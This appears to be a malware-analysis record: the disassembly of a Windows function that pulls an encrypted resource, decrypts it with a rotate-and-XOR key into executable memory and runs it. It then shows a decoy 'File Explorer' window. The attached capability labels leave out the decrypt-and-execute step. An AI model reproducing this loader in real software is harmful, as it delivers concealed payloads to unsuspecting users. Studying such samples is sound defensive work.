Function at 0x401100
Capabilities:
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x30], str.etqrifsiigrpt
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x20], eax
push str.VirtualAlloc
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
push 0xa
push 0x165
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401164
xor eax, eax
jmp 0x4013b4
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x2c], 0
jne 0x401193
xor eax, eax
jmp 0x4013b4
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x38], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x18]
push eax
push 0
call dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4011c0
xor eax, eax
jmp 0x4013b4
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.00403420
add esp, 0xc
push 0x2faf080
call fcn.00402f3c
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4011f1
xor eax, eax
jmp 0x4013b4
push 0x2faf080
push 0xff
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00403a70
add esp, 0xc
mov dword [ebp - 8], 0
jmp 0x401219
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jae 0x401268
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x14]
mov cl, byte [eax]
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
sar edx, 3
movzx eax, byte [ebp - 1]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 2]
xor edx, ecx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov eax, dword [ebp - 0x14]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x401210
mov eax, dword [ebp - 0xc]
call eax
mov edx, dword [ebp - 0x24]
push edx
call fcn.00402f04
add esp, 4
mov dword [ebp - 0x60], 0
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x5c], 0x4013c0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x3c], str.BasicFileExplorer
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x4012c9
xor eax, eax
jmp 0x4013b4
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0x1e0
push 0x280
push Ordinal_1
push Ordinal_1
push 0xcf0000
push str.File_Explorer
mov edx, dword [ebp - 0x3c]
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40130d
xor eax, eax
jmp 0x4013b4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 0x64], 1
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
push 0x1e0
push 0x280
push 0
push 0
push 0x50000001
push 0x40f30c
push str.SysListView32
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
call fcn.00401400
push 0xa
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.004014c0
push 0
push 0
push 0
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x4013b1
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40137e
mov eax, dword [ebp - 0x7c]
mov esp, ebp
pop ebp
ret 0x10